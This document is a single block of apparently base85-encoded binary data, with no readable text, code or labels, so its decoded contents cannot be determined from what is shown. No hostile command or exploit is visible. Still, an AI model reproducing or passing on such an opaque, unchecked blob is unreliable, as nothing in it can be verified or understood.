zSQi(Y+3N5f52f8IwMQ3Uo2@%Z)?=8|mbOb%M>QUbZdm#20plg@a~tnBYtnwm1WS#l z-z>9A$?HF+A@fRYB~0~>GUt|(L7!VMpT5Yy3CtWO7fDSp&o2VmTM;mN zntRKo-+^oo^3oc>I8*)kR6cF-L_~Vhy%wBRzNqOciGVBkE0( z_)v{FIWs8mhV_Odei#1vR2~tr!Xeyr7V)(Cpl78uRJt0YUJJ7542Iyy3k?^x!9eky zjKCp_oA0bisW)pG-imcliZwI`p9RU&F!fj^-zyI%(OWg3>>{P*I^XCz`@NHNyCalH z6_PY>fF{y~FZ0<71=(d*7kHR*)a6=P~LqNyeX?g)lVXjWH+q@sacsb0(-k2LkMQUX< zyLWo#H$&lWD}V;P3>J5j%GFHydaTCBz&0$O?Klv*q2(1&uZ)EryR%&58cK^COXcxD zwwB+}$)e1o`%}lptt7okdiAc#V)qmc{{YNYg5Z$GN0@#TD8>KX-GK81rlYl>khxIQ zd9wiRQNg0}Hv7kerC5c;A>DJtauT6f#eH-Jww}F@`1M$^+iIJ(0Uw_36Lg7(GW2nQ zuV-h&hDt|KVt-Wg`!rtc**B?&6h`Mj(+BL32SExUPKeTlTbLE`W8#f#DOJi_R(-T; ze5%do2*ck2z-7bL0{4X1DRS8YIVp%!FivHUx036^J+fo^xlDLKeGlEl_N{Gh);k`eN& zNOOC(-TgRWK8om(G{@pU)T33dZz%a`^b$yToJ7=?N6wlMUl;2+*E`@<5ZIB!2b zKhMurpJ`*Fu> zUd{pJj81JJc_f4TAyD^Y!MDmI8*Xbr(OOS-e%+Z29wL2Kwt4$VNQp71n~$|V-CvD2 zxojX$4@6u>q6(f2j%GvET!<{|*(*rzzJv6`d6^{C95X;^@X| z9-26zbd3fI-z=i79+AI9IKPfjx3Ctzo*XFEQmBFDEWBC5YdW~utKDWfACe@CmazlJ zDF4#PJP1=3Hy4L)WCKi;a?U3ki~H0WrjJF%NZ36ek9%==yVB4mT6vudRD~Rre*2<2 z;0?{_vzykJV{Qq$vy}C8$&4YrNo=}ab)X9E(R@cNv0@MS(wCKl`>JtR9R8JUA&l>( z=LFWz=2quEGKm>eY@tS+Tpl8x*)$_x19F^X&v6RktM?CPB6mv@$%+*oFL zThd(h_~Z*DeZ+4BP=M48<{#l{EY#ZX?@ilv|8TwmwH%9mywnwB6;-yZwFWWN2SIC; z-}@YSm-W=UF-j_NeZBPw>&Y$b7TpjW`c)EmJ*UR*H1gMm>jM?#LKK_E>&7-an!eVT zAWE~2lj?1xn$cvUG$oij&)kV7o_QQZ!%rTaI$KC0iCq?~6P5iG^Zwn44s?o(~;Z9pUglC3V=;dWxr4=JkUg;;Z zxW7as%M9Uu^27$|aIyb#2llZze2{Gv0T4zxOESSmvOP23qc~ddev~B(G;G_{_@Y8) zVqJXEknb+=g>Fwq8eYegrj0J?H~WN}A~WGb*c_VSVcWgYgf@ibnKdJ*({^}y4nvD; zw;0@^=#nuZ3TozVaqMsn+Vg;Ar}MpC91oY7gw(hNZ)^jO(?~R|;WR5!HXRS@V>|pG zT-^@%HiC4|Ijwhwvx3{~Qc5HImeX5Z4eqmIwYEZ0qawFOM1T4_y@iM!P`nUa0P>3x zPmk8@UyDBPxh)A-FY4N2?XeOptzQg1>>f@p$#V1atsSsCmYlqBkfjAu5;;v0_#@ot zrl?tF)pwcvEYsZB@4!|lF7|hMka5x3YzO)`vHT%d3M30JxW`YU_}SW!x*7JC(cCZE zKGNqZ&2VnD0(F@ip$VabX4podLBj)zJ~wRJUO@vdu@EC34TMQaK|THfx3|2)?f?OQ zz+U5~e<7aMUc-bH|$GaLlpNzM16078Kw-F1-h<}l=E$WY6djh8zBo5hTSV)@(}o?c(9O-JtcUF< zIKaD$VXi-cm=Y@0cpXt5PnS|$x5sBmywDIlXrYfiZk}M=*q=4;#x~s;)SN$`hXH$gB}tC0|G>g46lM7PNpC^hZQ3n& z;Ps6T)5=uaE^4piekm)1^;Fdcd;G6&uFFCc<^I1Kt?$3hmMzz?j$(96T=zKfc|LNl zxk9j>g5ArA?&`;3;aQbs7&W4rPR+GSww~&BxvE~Yd4JU>=wXo7D7wM;nM{IxkHS@T z&Y<3??e=LmR#kY9V5+-}d*C?+#aZrvm7mPpr4rdAd70r3NSMX|8oU(Xs&A|l`M5@- zWDu^U%|C^xfZ|(8CDV@dcLJFRxA8fBBLhp?C>E_2XwwU?TXWIFP_|+4P0)ox&%ihM zBvC6)0lHzB$dAsn0V#YmjqVZplL3i!{BT@2*hiEUiYx~(p{*DOy=`9<)rG8k-9uh> zet7UhgJp3!{y1Zz)5H6rZ=f>9l3GUnI_%e>QwOrtsJhMUgc}4}Bz_6=RYv@GkcTZP zz`8SD?j;JPo*|``BRCLm-J(`Po*C-NL}4Ok%-~;kyn2Tv!4?@dwCghXl+FzDj%|ss zm=s&eMc^P-9->7)qd=41M^jSw^dRU8fwBHU{gHDHxKa=7U;%heRRim)XWvxjH~;yVa$BXdXzkB^J3%E z9$t_n_GjVCE`=LcvBzycAyF(YR2&g}Ox8uTi9#cm$+OVT7vpXXJkcy7(H`2m_+)VE z%k-k7mM#Q-b4m)Dn&Oa;?J_;c74iMC=FXKy9MjfAuH}?;KOkF2g>0Ba-@BHXT_d*B zm{SEalGAM4Y+xu^$9p9mlpTt8)x1%pp9_$;YVi)~4}Tl!f2)2x;C?q!WezwnBl_4` zx6KLOMn1eZbb$nRa`7W$lt-!N%key{j1t4I@ARbD_s|To8ugl&T>Ur>pm1Vo^*QEp z*PSZv@Gln*uhZ~b>B2Et6W;5$(|y=0pw}}NhMc8qr1!_2V~vMeSvqt=-b|h6qf7WJ zxg!>vYKhWyLrRn+jV+B601mO6B&V-;y@4#pHDfjtW$F2{YtR8{Cx1y?M0sE4+~VPf zj7IkCBY|OyquAp2+xrKNS-aW7GV@D7`}-^>jj0^gigVwC$~BD2AWLr1)ssE&yqur} zf8)h;lyXG*cnps@Va5u^mD0)f=6IYW`|X?LaUdJztk1g7=bSU7wM>svkm*Xt?_Nng zM~a-8CWuC)m`4;)L3Ak~JlUUMpg!2gxz>5 z)q8SzXA$AC?w9JFb)IK!SG@84N#^{kVh0DIl)ty1b-%d@(kY7G<)PWJ%aZ1+>(=JS zA>{%#_(72;){c9|Icx#CR$LTK8zSAjOp)~?M<)7o+S%*=A39+ZJfHotq!N_SyF#ds zl?)^9q6tJCrF(ePoTpeNmcX4=1*CzBt4DA&M7Wob#nTS<}eo!iM zN1a!=wi0P-dAfeTf0*z01=zfD)4PS@`?Pj;YI@4_J{^zJN4^h{3PE{zX_Mh2IvL;-tyElp6ackV=J+t_x8LaB`ROCFR7d;u*#7#)sI{XNki2vn`E;@DyUr4Xi!Z7wkGc z5ct@ao%!AVp~O>X)z3MP*S{N~_~Cmv(3s!_Q~zQ~W6EaEo^2IjcRYIUE-jEh{Mg)+ zz;faq%2uD*xUub2HdF`8f7O${gUH8dmZp#8Nqq=9yx}0XHS0IQtbXf;8Y&{nGu`@@ zSMnQp)yI1xY#~uz5IlBUn80Ti0+V=V8mVZ^z{W@(o z=QP2iBid=x-9pTeR&QPK>wZ;q7e-**x{o&X;Oa?zRShbYR0^eqV+||v=mOtk1VeL* zPNgENiOy@m+ImZ?yy} zjWZlrb~Pghj`hdM?Bl<=1}8{u=$H1iL0$&K>o+ zD`g%YM(oYdY2!18dBLobcYm=>qivPImhh(-x>&;hY<9B1L;dQkCj^<;S1dH#OyWE~ zuC%??YVy;C|BIg!XL`(+7o6;kN!fTr-d>>7 zjQSFYw_PJS3c9$Y<39(`bXO*eet*3u3Y8`HvA)SI%k)fi^$wr%>U3X-0O5rB$>c8H zPIbZ$lE#sxQW4uNydIFIHW_RrAA>-oj`R{H&Dv3-8)Mjv0Wn_9#wL1i!Q(|X>%|)m z0<2y(5_$FB`5)E7Q9M^#Xh!6vN{|J)!Fq=t;QqJ><0au6qI;aoN*Swvm$sp6x^?fsJvlclgpnmk6 z+X3L#zg^L1o1yx*RadwwE0eYKYi*slM^5~qCpmspn>A49>$0uS>N}Ht_mx+MA8kOa(x`7({8-jrFx%(5(+8Pp(!RE2#c7LE zvNkjB$HG;U!{X=h>=8$AbF+;Jv1c~hqaJOZ;pit=v##8xB~I>fUGF{*u5^yyqv(u# zulF*ER+)O2IN7&+nywf!I8irvl)E!ry&8#TbHtW|dx{Rro%}Tfe_hR}S)Ea)%zD2{^Yt*2x^ppA^Neh`LSz2i?Qs*i49MGn(t!G|A3 zzd~t4vLhFmXznJ+8Te8ZvRSFduR3|;f7~CXT6^|&Ieoy9m(?wSBEA;)>={Z<*+JK@ zaC%#^AWt$Mxhztp9LUi}_X&##5WG4|%S-*M#NCZd=hHXyZ3I>CQ){PSyTzNj;N4n& zw(ej`7hzLR*Kwqrk&oEu+KtaO3|033YID^{mK2M}$i{USJ_JQ&~Z z(Dv#nffa`;l8_!g3<@m`kpZ0WqAvs~ZUWKd%=d>xe#Bh6P-EL1i_6==LuQ{$rTn*z zbd_;THdiN`I8hTZ*>7c{+^Y}u@xMc~H~W9g(782ni-=+6xo38bY{Z=EQVCuGwupEH;$4%~OD&?UIVekE%vEvb=m z6OR1K=rJ33{|q>JMPUgvIbf?@bl7e#Ybn&~+nDQ*+Qxm6Ym`aw!q3RuRi}YP8~0j5 zGayMrmJ>}ZNVGoZd^fvCc6`5}7*(u1e#;K~=HwR3JRw43Jly?8e}Fhk)?wK22|*+? zE6p1P+BZBALc%jPTL`77Fp zdleaF)j3e~DThylLO83Q2+;PDsj7928NPGnq&B>8Ing)XmpzQ#7erf+-{Y~t1ZdBq z7uYE?3a!_^+mbUvlC?LS=4BXwoB|KO^12bIb!=IsO>YAUkWu-Biem9}z0)*&=M zWS*1RYGFF(ybKztWU{(qd@M67xiplnH%0kc9h+oSCTN8>_;|VMmq^LOCzI?Ecry8= z;Ry=P=%<)fZheW*Z3H4RT{WI!PiQ2%2(!6Un?Ls3kkw+eo-}gK!Kn@X&Y@@skH=Or z)Y#H0@lM7_W{N1C@zu*z<;Th){E&QVm72d>%*-%RpNGOoGQP?U5gWZU{^pBy+$yWq zjX;ly>fKsPV1ut>K-n?bzwv^q@Pa$5;s=$XuyjB^I-?P<;rArGAHlvOCFZ^wQvr-Z zwQV6g#JDVd5`~8?7-uSS0e%po3ceP1?e9VIcu zJ&-IFJP&$iPtFc4(sG#uQq5^e$mSJ&pG^l-yqO=Vz#DartRC0jjASBUH*I~+zK|Nl znGu%6FLm8(W|6>H0{2A@{{f71d%Ib(sBX5GHQ1>00gD{k z-?{m23RBIVtdsRkZ#@XgvyIq4)`y4XZ1y|m)>m|Jnt4V& zw6&}^#5&mT!^o!CuuDH_w{~hcEc!OyEwQU0f;E&b(#Zz9eBcbTOzPTq;1TVz?^v`= zj*UL&A#jgeC~DRy$j|+|;{Pao@nWa`6Y>5)NtGASKKO>Jo)Eu%i`CCMZ7G(o*tvO) z#qykC@jSLd&3EsGt`!9`^J&Xff-Wqhf%MT$+)&5b&Z0wtzt4PyT0|wn8(~KNbDBBz zH{pmmYOlV#8K|6DADf^tQQ?pGUk|imO(iBufx`Wc>vAzrFWG8xt{}6Ix@OMA*FwKg z0Kd5qZeJyZv^456GU=;VXKv zU->F}-yG`tKC$JE`9v=U<+;B0LnqpG1)B5MUkq%e@6t1D5@l;tqzPSGZUaYm${P=$b>CdIT~iKK)WNx-?JZQLkS&PNt(}>gQ)Ky!?n|4K_!pOIV0=OU*rs2MLu`NA4BHHo;g7?=G-hEntRz+ZrH~(kOWS7 zvFJq{+kc46Re@l_(q+NTO}F2~xc`d7A3|t*t2{+F{D>?Lj?Jvd=qLwh;9~lyg%iZYjm+$J__& zeh`#J?&|U4o6J&l7O-yh#4u=g+YV)Qu?@%x=QVt;(otFqf}Ewv#;7b3Og5iPc2)@3 zFoW&4Q7{MIbK`#ZaVSjE9fcj9)NtpIV;@L3zWD+C)@)ss{)4#HWp}vyh|-m6js0@5 zD)u*TVn$7f3Ih}wG+0|VFG6!LT#<$cC8S=ajw1f_P%^cDxeC?e^aS(KFcLBt+l@A_ zr86)#R`9KVyw8|5zlhHBhUE#4Hw8mN>J42~s!Io;coPz#;P+og$gmue_0Sb;W-e$2q{#e zI`fhs8Qwv7v66dyKF0IFv*##&J~#~g?k~K(!)eOsl2pAj4`4(>?ct&Q5}uMt;lEI# zbQWzsS`1HcBb!Pg^AfuQDbfq)emXI1N;-PBAa>JYjv#J)h~>eBn3Qf1QWW!0+)NZ@ z!a*VWM@A-m@}1hQ0c2j6xO7{#M|7ZK8GM0e?t5nbj}}1In)l=N$ZZ~ENUh#`@k>1k z?Bo=HLwh#9_-Hy@7n54}G$gz)7jn)<+MG~p;$`$=LIfFY55^9w=mz8ClShxqmKSTK zNQdltc;>0ixr4B=x60RlWh=2vp@Z|~g;SW^Q@ZHO2Rw@!i;mBaOy-Lk&feL#Ji@zx z7~FaqsgM__EYgoBOgAb zm&qSObm(T8LR2d2)2|_6Bf>f>6&2rBjsc_BDZJD6)Ne3&C&xTZa5emF0u209$QZGL zB#WMSC((;Jvg$Oa?WI9h)I`(*b*v1?VCh;zZu%Fri>_ia`$Degs%+NZ>5==zA5seL z;*NWNdCow$Y(Ds4|3FNth&$5$*{$?k0sco>w(f*Zj_IR@^%(6+YMc2uFk&gQ#RN(8 zUbWdY+uLK*Rl(*mLnP;9w5fdCh;OL0CdDJG=F_bMRC8ES{)1^Vlvu+)(=}ACbUl=N z5!{KD@lFwWmN@5^x`Wu}7!q_!57gDMs|0+d@z#j@umD@x#*9pBaxGp?yJhaf<`fNo zM~u`oY*^cZha}u?mgCPMe_7LJ3f2&-lNq4`VpCZD{*3H)?KXAg1Svo z!)G2=J{o1dYOAwiq%`0Z!#CfkJJ{_cYvqAW-g`qk5feq-x#ETad#fZh<)9*}+Rc*e=98Kvn{;EhH+s7B3nc5`rwV zd=f(af!2gVbX>faeEQs-cm=MMOz7tU+XmQ{22=8T8FEK*MBd-OLtc-a(`r~01v|C; zw5%s&FVra?kTlN7+YVWfq)P4M3Kd1KS5V}AQ_=3a-^q;U{iK>Sgu_AE0CSC0 z2LkVf!I$K(o2_4F9zJb&G}o5v_azV#$ut7`ypFZU@27CV65E_Gn?AJ7VD(@e*QZRT?>g802TGt(uL{V^{RmeeVxNX^fm zb`p6R8^{BaDh<>HYDQ>8R;IyA$OAB9`sua?!_M`6ruhrc{b?UW`g3;UtP0QR;_ww7!Sa;&AjGA&j@%k=r)cSz9-s~}ZcPgP+KM4NW=!isC`A@MT|o7)PN`Ug)m0*XMOyeA|pZy7YBC*2FS;hl+P0( zuQ4&$9{M1OIr@naQJ3_gwIHN~@JQr2#W;wtjbl=xVyvxyKFoI76VFS=$v}{B6eu$- zJ%n#`=+g1wI~`SOu*W2gL9}b6ae8>wx~(n$(18--ACHw=n$BHT3TGz(Cwtjvc_q=S zO#`KuYQiBF8&Mb^QgK+WP1!})eyx>AHHIga_=Ne@L!O8%yB%+}Eu%6dpx^_J_&7j{ z0qh~-Ruc z&*9VK3g5#Hu^N|1v8D+0=AICAiVAwa=f@5Qszg3)CdH3zY}oLyZ1Qxgb%|^wUzxJP zter7L<@PaQchx4L9Xql;O|epPzwFT-_WSv5+Q;@ZOWp(Bb#&28w?yWaFi2BKYy%T1 zZ14-dO{PB!xAm$v4qOnXSSZ3Hd*u)w-4?sA;fzrTS#(HgZ-VT_4FC-kK+z~hmmseR z{|J|*BY9XOmOI93t7vUL2O#tfhkjD7?7!GdNQ*{fW#yR80A39Ds=WLE1}XkE&NfBy z^zw&HgZ#qPTI1|E!+SgzEqJ#eaX)k2C6_FA)#y4{Ly5lj=g9VIN_Y*(66( z1Hee)oPF^A|3EWC7p;gV3NMsuA`1v}QD2zTM$u&w*mX<1T}oG@ci-;*3F!DgI9|`M z(y6I73x#jLw*vM{3y~%i{Q#J5Dq%7};@kD28~{ga0E9ng+K3V0Z*72J6u^cGLHRds zoM{ul-F^+2Wn!HJZkXC@=HIA+{|hXd`UaEE7_kD%6ah#gCkPY}2#9+XP~2gGc2grj zhb9p5+2+pk*sS$_JYM$c+5;l~VfuXzZ9;3mbg!X6pkt(*amzohmw)dq*BlOM%M&&c z*ctP!Rc(&uMG|qm510lJy!vru3F7y_Z)y+tlpQr?-1FJ*?En*WU?r9;FsZu%wXfO+ zxPfUPnNO@GxB>{Jxf^NketTa0`|tlRA3Wc^fD$0Zazg>+*I$GZ`yH?-Bi0=PHY=+r z96q9ya(o29AYooWw-wG3vGf@*mb90NVX}7Kt%yBeX%T6!{Y`gG{e)=@%vzxAmYeHk zkgD1P+mwPNy!?XyU{3$fHFzS!ArXr8^|ui7;F~79-#JdNXgRLp@VMPvgme&v2mqGn z`Q~9`U^noAtUpJc=C|EIpZ#X{dwTrtr4BHvvV($z0nF&|IDaf%W+dzHsQBOPOA)4r z;_M6Ud^S`V(tIJjKC(S4X=R^w-?=LTKIT)&4=R7*g;OihC!pw5Ty?X>d4!79ueK!r zuKoY~066+x_*RWqTa3cza)3{v0Vp;M8VJ*m^SnX3zP#1V{P&&aUcw!;69be7u%b*8 zGx&8goyYh;&*1-!SI>p>j9_0_&^!j{&I=iWXU3laztnoGbZfkLf5I;obrZ59^>@36 z3`Q)6!m|EQVz-W0^UELi9ToW?o9I+JEeWS#$TUz`Z$Ri5MIc#O>y2M-%d^{?nKZ9i zjk&ua0~9By!O&1oI@a%JsLbpMB_RXfuNvTHQymR#V0XLhxc|6@>DV7q8#DtXXAP8m zGXv#xK-nmewRkq3eo*i28}=ufB>bgR0FDl7xVULE;A?aY?-X+Rk5KJ@Kb72VIO%SW zw!XK(%?=tapxbPFuAxr7!ZbPoIPXD$UV!-~r`e=k>ju3v0EhNNBioDH4jF{HzvM@c z=LY|I{ZYY5_j|lp>;WqKhkoTfC=SJVS|=S;u_zYCuSOmMwLcr?--D9Q&4G;J#SGXNigho~G3OvM&<>+A(A>eCJB0%W2&BvaxerB;*N$RXkD!GmR$0hdfzfXtqP{pvh#i6Zz6u35j1cAl|7=snDDW0zL6R+c1 zR;XnCWZLF!{t_-=&ETtu00rLzfrJ3UtAYj*hW`!@|9nT8!jpk>!AcHb@sbms+Zayu zs82as>C_V>f6^WfT^Z3k%=wB%OV67H4Xd7*PY-5n2BIM*%GiIrd}jE|#&^!9t|c)&(B(zYw#Gn@6j$v%?WTb{HD2C6HkHZLs%qp7Uj{|q?) zQaAqn02zi0TJkIdgo|1zt!>8F5^UzZRBzNHicu(t+G73)^>*ef?rgVtaM8_{2kBlu zhI*aTX<|aTRfV&~(voq+$L$r#MrOP))+$ZL{~!P1795gAGk}dNbUSd`?`e>6ggPQa zw>k6(hGJl=KtjOdc(j6@U_f$}xafM>(Pnd%~yM07Z^5_UB0Q z_iOfiO@ls9h`G!FT#HwrC!LafJjV~{DFqhYUu?Ms;LftQ94>rzebAq$eV?FIY&y&N zVNbKlY$utZ>L-bng5y9^A;Kemo7IGEhrj)w{#``>%LmUb@`F&EtOrJ5Q#U}F{cX#J zHy1%^JT>n$OAf;V<^d(UQPh*}9pyK`Z@uGtJ=tW_AdJ$T^Dc0I8hI$JXiF(816qSK6UIZwYZq5_UO73k_NG4Cdr`>fdt*8f- z(xd%x<^KD4e!fgig->K{yl6F_D(@Pw9BFdDM_PaHMl4pSTd!84BWmitJf@xLhIb_S z{fPNJLG+*b*8g7U%g4_`EOLAK{NkZ!i`(s0jd|r{2UKSR+EsRwPXrD_)c_@bwF5kv zwgBNcj!)&7dSn(X<=5N3SE7x7J~IBj?pzb-GhSSR+Fgz3t1v>nfyRN&+&!Kjhx3^k zG|M=ksakEdwm5v#)??1tj&v#g-|_N4zmuAcL01j44nV9Qfk0qb0;f?JBO~Kq^yfKl z#y5plk+ceDq|X&!fjwm}r|ObC@??EBzDKj+$y^9&@~5PmpQ`^qGIg#{krotQcpcyw z71mTeY&~^s0fKV7Trwxg<=+VaxG)AxW3W#7p%zoX2yb>oL0FUBvr?Jg6Ih_v&VHKi zbG85=b-r&Gp(A$*sEgS%ihVmRul=7W4Z?i9}kNrFbGvm2_=ZE3+Dhng7)3?In@AY zRR^AMttnFc0TXZ&gi-{{QjP~vXMysDGr(4xtMtUd8S_JVHGoiX-!355_1`zM^$?m& zJ*b=Z5w1fCRj)N5L0IW?>v=?W<#N<7g791PMEN;P2pLEsPuBsP-?ip=yjZ(w#)-bD z98@*m4j*R;j*o$Y;Wblbx3VuBGzx_Yp1rjU3DIwE;Wvfa%U>R?s=V!fpTh^m2Ok;& zD)e3;ZSsM^Y8BOU7-U|k6a){SFT4)dFC`S=~fKwKjg>?Sll%HU)Sq(&MQZ{4X_=C!tj8 z3NkOG9T9qJS%?;ULpRSyFZ0?Zo6bZYq=Xo(Xw1J)_6JbujoL^Bp-HI9N9@}1fUrH! zjFmTF6KK^81N-99B->#rK;=k2p2PPi`4lJY_vOmR9Gd67-UPfGV;;SB#Qj}pI!%@z zERaDemk0atW@9kTn;+QB&a%|)EX8pe0d9kv1yED~f#9iurbbNqTSOX73+A8=o|3V0doh@{QAGJ;r9fs>C_@I5!I>(qr-7YsYO>Vfm+CBqxpI^2`xiXaiZaY6VUR+i? z4pd1dp+lyAPrxs=j5Zv15LDH2%p%G;{Q9BDdOmNv12izkN$g2FL5W{uJ_l-u=oppQ zfcz2QIf(bXG5;JY-PpfKWKo?qd^6_CyB4Q!)*gWIWztp?ZXnd3%xwZt@G^d$2a+ED zd^lDwb@Fx8RpcC3Q=O1sX1#=ia;zc?*)GJ(03=#_l3z+<31qPzZ1#IL1DW z$nn%T2Q&$J_iWvQ+cBg~vW=+QZ@5?r-rIh;Z`n1&8P2aDVqP5|eUm7ooX^g`BGE2j&=8i@sRb zFD6B!2+-e8g@5Sl>stvZ@YOoLgv;xF2~}##Iw)@v6oYdqUWbk_5PD05b~ZSjmI82n zXFq7*DzSCO0vd0E8@9&*$^sHH2qME=nO6_O2=m793rek*CC0yvLAL|pNCh)jBCWbb z{b9$!gsr&-39xY8B-9#nDE5$&d&rAK3f0`I4?H=J2&frJOE;9uyqaOjK2(50Cl`Zszj$k3tgyoI{c?l z$IRmi1gjG*%^e(U?CQQ;QS}tpp>-X_H^H@YJv}`(p7FpU)e^UP=m@GCaIH11*eu^e zUy^>j0wA+tg|AzXZ-HPH6^EQ?0lR)jHG9HJjI7CMu43k0qw|a149j-3J@tc&Tp8ZJ zratcJ3E{g#w7LbaCp*BvFwpFsC|%O_mIdVeL5*<}Ho4;G7ce<5gS}pS9K6DQ|2lOr z79_F#a%jnIU{+j3Uy`x?9<*+XPyxLumtUB*Zik~OmmWXsSlaHWQ}y&$4Yl|C;QqkW z*cddoU!Pp0*5a-W@}1>QzU}~#7S2fDe*4|Je%PdKzOY)=3l89W$s?D7Q$18c!THDy zyIIjnwzD1K{^nzg>LYjC9q{XS*{df?vw}+7zbdkpi%NmEOP%VS|AU8!7m}aA!dQp)MfdJDgXPibAQH z)PVM~9y&@)Ih1 z@bIxyx2ETVM^-0P?j;*}cfz-u3M>;?iF@;m7a0<&T+LTkTl|j%Mjxn0a)8zhSc27eh})wmvGgjf)%b=BYDh%#dtB*Ty!3 zcy!~DJ-`Q<0lm^HG_RSYxVzp^eUz#^y5PDNZzSQqE5w)~?&%G3$VsyM3rRc&NJdpy zUMXMH_hncHw?}-eMU7Xc=ZX?Si1>_kovc{fD%*$aJ{-!nVJ3Az8)n+<)0k4HB*A;3 zvX=x>d`;ycZt20L5bS!Dm|!oxsR6*B;dQDs6;=T0J(Lu$s%r4_BHg@z&Rb4=Jc;lS zCyIBsd}O9U0;ZUMue$A#8FqQ1pmSvc&+Pq(-Da`eEI+o(Y30y#eiwVVmgLF$`(mji zrS5l1C1WWmNK0_RMFu#JGPOZXey%m1Rch*@n4Q+UN}Lp!<%m6@qWDW*ZqM>vWxjKE zW6uA)ZRn@Tr|8`=L9Z2{p~UlwF?GS4Lji!;1;y$&|PQ0>XEL*IzsxoNlg}YDE!l_nNTy|umTmV86VUr76hDB@c0C-XPWX||L z`f(Z1^_c)9?yZ=7sb=wQMRJ*rtx6g3^=C_-BhL(q(uwu? zeAf1ukve_k4g9Cx!Q%`E*w zozx(&PN9NtH0M0uGN7+QRgqje{_WM!ZJgIX8}P4}^FCcfi{?!b9|d$@K4XI6s?1{_ z!V8^DlMo73Ol7AZg%qcXXUBq6xZyR+Sra`T$UeqE1`R^;LX^w z+0{7ymLCa{U%>K+omL^)4C=Y4-Uk%ViPe%gxRh<(5Q0lBqF{21HaXHR^rJV}6*Bv~ zv?7Iav+TCxwkGKH8Q#7x=&hc=S>rh?(7x>kp?~KoS>~^LGM58SB4-IvjYk&P)o;+1 zmv=S@hn-X6l}4`BRnBF#wGBkJ{Qu*Lmp*_=lojF|MFD4`aq~md4VC43FA}G({6r6V z$4FS_5er(HxY(Qv(=DRXgKMLLRHHUip^nAvI~@!YNvidB?O%&nT1U|fSaNQvshsq* zU@Hn>xF^&1W=G?SmUEHOx#9{A&!d#&^P*ZJHk`&D#YwX{Wc)w8ePvjbYt%K2jsYSb zB_tFqQbFmE5&@;V2T(vd1O|`}1(jAB=^7Zi8QK7)W9U?*X6SCd`{AVLJ@5PT`#0xY z_{=kR?!ER}Yj+59N-m*U8(OK_;#yaf%KR{;%9PJ=&tPFWbQpoTHC^twpo<7ros zP1$vhW_6{Nz3+7z1etjO`QqyVD+wkhz`h=j zsq8^A*}#YPcYYMF?XNuEJXG%$;{1(fTI?SY2jNK$2`>Wq4BE3eZ)our#CX}4-_&;lJcy*fF%K$MI^PHiuf*Y6T?NSiRU!V zbPbR-KYhgGmD(^)KA|}MB`Y(5+AM8@>NoDJB)XTve4SN&sX0EgKROZ(c;3Ozb+s_K zx`i|UXv$II@eU-jy$?v-ZBF0G5mC-0D_v`98(Kl5L>{1zFiUrD^z;^@>()DW#opbX zm3Yjo%A5AiPOeJ)hrETP9G|m9H<@fx?d7~-#td-IG;C*n&RwM7<>P#eE`nq>fb>2y z>*v#)`_Td(395RjC*C$7)AyqL8@cE3=;wLssRvX5u_bmm)l}V8sG*+N4r1!jez=Xp zQa7J`Et=1h9X)rD3pRUxCM;ioR~4$u6wU5CRbT(>&V{yo%=P-qd@*)6QK!LBc6!10 zdv?WO+}Y;K77@;dr6*@P{I($Q8l6Gyeoza?UqQPTPHYv9vBpVBASfg#xx>+6T!Sg~ zT6c>@N0o$tgx{LGq43T{L_X=~ETA+i5P16e^+S!qK{s;(b@6K0Ng8{3_aK@eP6?FAbPR4)Dhtji7d!Cb;1i{1bDj7(%W#FS6pV37ZdCu z_YAL)_G|HI3?-a%3QH0f+yphN#vFC;;G0adO1i1t6d6MM(k;}Qw5V*U6&g=Ra~-M* zguJjqyw9#1F-mvuM&>>D3wMWbsMmpuDmV@~V_^Det;^7sT3^;^x0=qgXyY;ZuiY?6 zFM3LzhxQikH8@$Y_Jl%%2~klqr;61(8&2C`XAgj%+p~qSJ+>$x1P{XQ+bwHRq%i}^ zH5qDG#J!KU$erjp95SnOQzOtWZ+xPZBtuf)EZW6)+vOdCioKSwA{+V8bB0FoGzs-j z7@fI;#)*m|*}S^L-Pu9(K@P!}iszHM1mfP8g2+=Rnn3I6sYp2^5ksq=z|F;WFVhl+ z3`=i)tx3p$ET67&U-Q1xMrl!<{4gZMhi51crUNpm92(X~4SaBhr!g&}gg(HyscJF} z!(uzfd9B2gh<5fvXGq=&a(KsniSK!VuW~&vQvB?U`B1;<5}q->-WJ2z)EImPKmGWp zXM-i`;dBUZ$WjX1uIm+hV{Ya+8E;zS%GvwMia!DEJD1B9gHtw3|4!QcGqm!pkA9bg zm@l|MM-Z$;?XI+5K1 z5l@mVncxoHN+NJpu1!Dc{a$Wm4E4gs%esX1et}*@4?uO6itYr99BxbRh5QOJZ&(XaDhTYD_u;PuR^Ut^0r zaUpdrIeRki92@dEugzFBOa2wOi$i|wJwwU(#eke{_g0I^SXEwI44Z?pmp)RjU_6H6RK-Sv~%wddp@XMVIPDB<$7@ykQ@|8d4$|%AMW31w215QYB_1?JV z3=PrA3#HbhLqQ}P;D=?V6W6czg_i#PEyrI)uUJEXK*0lNAKdY3&;f@o3n50aCHs?v z@xNd7_{|G&7)9bIFMkPge}B&3w_vCi?4&IR-dU06FI3}~bN%-rs6R7dd-31@^zVm& zPgD$|1dN}~pXvQITKN+x`Qw@3G3WpPKW1Bto{{l1(SQCx>Ksu$-%)!P6TDYR2mvA|2dYTRz#uRDsh+`n&W3Y@gA#j9R>$|E=X$C zb#*NPa$oTFEfKK)wD^cOko?crzy%Oc@oh{!Dx!mue+pt$RSDGYe4*hqotuIEOncD0 z9LRQWEWPmkuh|q8|Be1cW-_hW<|Xh7Uk$v4-FG#ut@D86bei(Aq#CHwAW!vw$o}_o zI-WsAL7345Hkj2y0$Q_=9wdqTpSQLSa!P$}3#xC=K&89r6*1+|>Qu{n%}d3<22g)s z7>Xh%&rD!LCco-IldE+{QB!jkCt})3ZvhNpjr7-dK&Dv+bh;85E2p3_`q$p6wYqRFmAG_(OZNCxP~zSoYOTm+b}lw(fVl#OH)0|qCFLV&62=K?A7kHl9aLi??>K1k9I- zZhY2-U(V4#S9dA1q6q@E01%WuQ0P&)F$w^b!a@4p(#rRLOn5Q;?c2Ay@VcYJJ!x`8 ziD?*QyAJsZnhDVT&)*7O1hoW1MtVzHNxQ^UY21BK1R5UilP4jE z@o95F&`7T&CL$V{>F(~9?%DbCrGEL{qVANaVuE0QY)>zsBlVS8=>V(0gB;JJ!;HmV zrsF>)(J%m>hSoEJNSx}~WMFE)xCW{^ta39a{_{6)Ad=cKiff@@;gy1>93!CC^7M*; zgDv3)2+;)yGA$LpzN6*%;t~CHL9_7bD`w(M2u=kRm;vCXCws(0MnR$d;zcFoludHN 